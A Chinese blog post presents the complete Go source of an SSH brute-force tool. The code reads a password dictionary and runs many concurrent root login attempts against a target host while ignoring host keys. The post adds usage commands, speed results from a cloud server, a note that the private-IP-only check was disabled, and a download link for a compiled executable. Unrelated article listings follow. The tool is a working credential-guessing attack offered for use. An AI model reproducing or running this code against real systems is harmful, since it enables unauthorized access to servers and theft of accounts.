源码如下:

package main

import (
"bufio"
"flag"
"fmt"
"golang.org/x/crypto/ssh"
"io"
"os"
"regexp"
"runtime"
"sync"
"time"
)
var (
file string
host string
port int
user string
)
var exit = make(chan bool)
var starttime = time.Now()
var wg = sync.WaitGroup{}
var cpunum = runtime.NumCPU() func init() {
//获取命令行配置信息
flag.StringVar(&file,"f","pass.txt","密码文件")
flag.StringVar(&host,"h","127.0.0.1","ip地址")
flag.IntVar(&port,"p",22,"端口地址")
flag.StringVar(&user,"u","root","用户名")
} func main(){
defer testtime(starttime)
flag.Parse()
//match := CheckIp(host)
//if !match {
// fmt.Println("ip错误,只能用于内网ip地址。\n正则验证规则:`^(192\\.168(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){2}|172\\.(1[6-9]|2\\d|3[0,1])(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){2}|10(\\.(\\d|[1-9]\\d|1\\d{2}|2[0-4]\\d|25[0-5])){3})$`")
// return
//}
if host == "127.0.0.1" {
fmt.Printf("[-]Usage %s -h=192.168.1.1\n",os.Args[0])
fmt.Println("密码字典默认为同目录下的:pass.txt。可以通过:-f=xx.txt指定")
return
}
passchan := make(chan string)
//开启一个pass读取协程将读取到的密码赋予给一个passchan通道。
go func(){
file,err := os.Open(file)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer file.Close()
bf := bufio.NewReader(file)
for {
str,err := bf.ReadString('\n')
if err != nil {
if err == io.EOF {
fmt.Println("文件读取完毕")
}else {
fmt.Println("读取文件错误",err)
}
close(passchan)
return
}
passchan<- str[:len(str)-2]
}
}() //开启一个ssh链接协程,监听passchan通道,并创建链接
ip := fmt.Sprintf("%s:%d", host, port)
worknum := (cpunum-1)*20
for i:=0; i<worknum; i++ {
wg.Add(1)
go SshConnect(ip,passchan)
}
wg.Wait()
//time.Sleep(time.Second*15)
} //ssh链接函数
func SshConnect(ip string, passchan chan string) {
for {
select {
case pass,ok := <-passchan :
if !ok {
wg.Done()
return
}
client := &ssh.ClientConfig{
User: user,
Timeout: time.Second,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Auth: []ssh.AuthMethod{ssh.Password(pass)},
}
_,err := ssh.Dial("tcp",ip,client)
if err == nil {
fmt.Printf("%s 爆破成功。账号:%s,密码:%v",ip,client.User,pass)
testtime(starttime)
os.Exit(1)
}
case <-time.After(time.Second * 60) :
fmt.Println("链接ssh出错,在select处退出")
os.Exit(1)
}
}
} func CheckIp(ip string) bool {
// 0-255
//(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5]) //192.168.0.0 - 192.168.255.255
//192\.168(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2} //172.16.0.0 - 172.31.255.255
//172\.(1[6-9]|2\d|3[0,1])(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2} //10.0.0.0 - 10.255.255.255
//10(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){3}
match,err := regexp.MatchString(`^(192\.168(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}|172\.(1[6-9]|2\d|3[0,1])(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){2}|10(\.(\d|[1-9]\d|1\d{2}|2[0-4]\d|25[0-5])){3})$`,ip)
if err != nil{
fmt.Println(err)
return false
}
return match
} func testtime(start time.Time) {
fmt.Println("运行时间:",time.Since(start))
}

并发数为:(CPU-1)*20。我本地4核,也就是60条并发协程。

ssh链接超时为1秒,经过测试1000条记录,20s跑完。(香港阿里云机器)

使用:

xxx.exe -h=192.168.1.1 -p=22 -f=mima.txt -u=root

其中:-p可以不指定,默认为22端口。-u可以不指定,默认为root。-f可以不指定,默认为同目录下的pass.txt文件。

其中的 Checkip 函数原目的为限制ip只能为内网ip地址,但只有公网测试地址,就没使用了。

总结:

通过 sync 包下的 WaitGroup 来控制所有协程的结束,但是这里却有一点问题,就是假如正确密码在文本的最后几行(差不多20行内),却得不到正确的返回。

猜测可能是最后的协程并没有执行完毕,协程就被迫结束了。我在最后添加了延迟10秒,发现效果也不好,不知道怎么解决这个问题。

同时文本最后一行的密码读取不到,因为读取最后一行时,err == io.EOF,导致Close(chan)关闭了通道,因为上面的问题,所以这个无关紧要了。

编译好的exe文件地址:

链接: https://pan.baidu.com/s/1q4V6swxn-BXpKQtq39Udcg 提取码: 89tf

Golang 版的ssh爆破小工具的更多相关文章

  1. C#7.2——编写安全高效的C#代码 c# 中模拟一个模式匹配及匹配值抽取 走进 LINQ 的世界 移除Excel工作表密码保护小工具含C#源代码 腾讯QQ会员中心g_tk32算法【C#版】

    C#7.2——编写安全高效的C#代码 2018-11-07 18:59 by 沉睡的木木夕, 123 阅读, 0 评论, 收藏, 编辑 原文地址:https://docs.microsoft.com/ ...

  2. 用Python写个自动ssh登录远程服务器的小工具

    很多时候我们喜欢在自己电脑的终端直接ssh连接Linux服务器,而不喜欢使用那些有UI界面的工具区连接我们的服务器.可是在终端使用ssh我们每次都需要输入账号和密码,这也是一个烦恼,所以我们可以简单的 ...

  3. 想用Electron做个小工具?这个或许是终极版

    故事背景 之前在网上有看到很多小伙伴基于 electron 实现了非常多好用的桌面端工具,比如图床管理工具 PicGo,就专门做图床工具.也有一些其他的类似的小工具,比如 saladict-deskt ...

  4. 经纬坐标(BLH)数据创建.kml文件小工具设计 Java版

    技术背景 KML,是标记语言(Keyhole Markup Language)的缩写,最初由Keyhole公司开发,是一种基于XML 语法与格式的.用于描述和保存地理信息(如点.线.图像.多边形和模型 ...

  5. 2014年Windows平台软件推荐:神器小工具(骨灰级

    原文  http://www.wtoutiao.com/a/120621.html 底层工具 “If you know how to use Process Monitor competently, ...

  6. Windows平台软件推荐:神器小工具(骨灰级)

    底层工具 "If you know how to use Process Monitor competently, people of both sexes will immediately ...

  7. 介绍两个Ubuntu上的桌面小工具

    经常使用Windows10,Sticky Notes和壁纸自动切换功能挺好用的.我经常会使用Sticky Notes来记录一些信息,内容是实时保存的,而且启动的时候会自动显示在桌面上.其实Ubuntu ...

  8. 分享:计算机图形学期末作业!!利用WebGL的第三方库three.js写一个简单的网页版“我的世界小游戏”

    这几天一直在忙着期末考试,所以一直没有更新我的博客,今天刚把我的期末作业完成了,心情澎湃,所以晚上不管怎么样,我也要写一篇博客纪念一下我上课都没有听,还是通过强大的度娘完成了我的作业的经历.(当然作业 ...

  9. bug检测报告---礼物挑选小工具--飞天小女警

    飞天小女警----礼物挑选小工具 测试产品链接:http://123.207.159.79:8088/giving_gifts/ 发布在作者的博客里面:http://www.cnblogs.com/s ...

随机推荐

  1. 前台生成JSON

    方法一 :在后台需要转换String - json let param = new URLSearchParams(); param.append('username', this.username) ...

  2. 10. C++对象模型和 this 指针

    1. 成员变量和成员函数分开存储 在C++中,类内的成员变量和成员函数分开存储,只有非静态成员变量才属于类的对象上 空对象占用内存空间为:1 ----> C++编译器会给每个空对象也分配一个字节 ...

  3. CSS-position 属性&元素脱离文档流引发父级边框塌陷问题

    CSS-position 属性 CSS 定位机制 CSS 有三种基本的定位机制:普通流.浮动(float)和绝对定位(position). 除非专门指定,否则所有框都在普通流中定位.也就是说,普通流中 ...

  4. 查找Command

    Find [路径] [匹配表达式] -name filename : 查找指定名称的文件 -user username: 查找属于指定用户的文件 -group grpname: 查找属于指定组的文件 ...

  5. Redis核心原理-简单动态字符串SDS

    SDS简介 Redis是C语言编写的,但没有使用c语言的字符串结构,而是自己实现了一套简单动态字符串 simple dynamic string 简称SDS,SDS兼容C语言的字符串类型,原理类似Ja ...

  6. Cisco常用命令

    • 首次配置网络设备        ○ 需要使用Console线连接进行初始化配置            § 在PC使用"超级终端"或其他软件.    • 交换机的工作模式:   ...

  7. 对于k8s微服务的性能测试监控平台搭建

    之前有写过对于传统项目的性能测试监控,但是对于目前市场占比已经很低,大部分项目使用k8s,今天讲一下对于k8s如何去监控. 对于k8s的监控我们所有的操作都要在master下进行. 一.部署grafa ...

  8. go判断字符串是否是IP地址

    前言 现在有这样的需求 正文 使用net包 net包的方法可以判断是否是 ip,需要注意的是 ip 分为 ipv4 和 ipv6 此方法将 v4 和 v6 一起判断出来 address := net. ...

  9. python安装whl包时出现的问题解决:is not a supported wheel on this platform

    @ 目录 一.问题 二.查找问题 三.问题解决 一.问题 1.下载一个twisted包 安装Twisted,进入https://www.lfd.uci.edu/~gohlke/pythonlibs 下 ...

  10. 面试官:你真的了解Redis分布式锁吗?

    什么是分布式锁 说到Redis,我们第一想到的功能就是可以缓存数据,除此之外,Redis因为单进程.性能高的特点,它还经常被用于做分布式锁. 锁我们都知道,在程序中的作用就是同步工具,保证共享资源在同 ...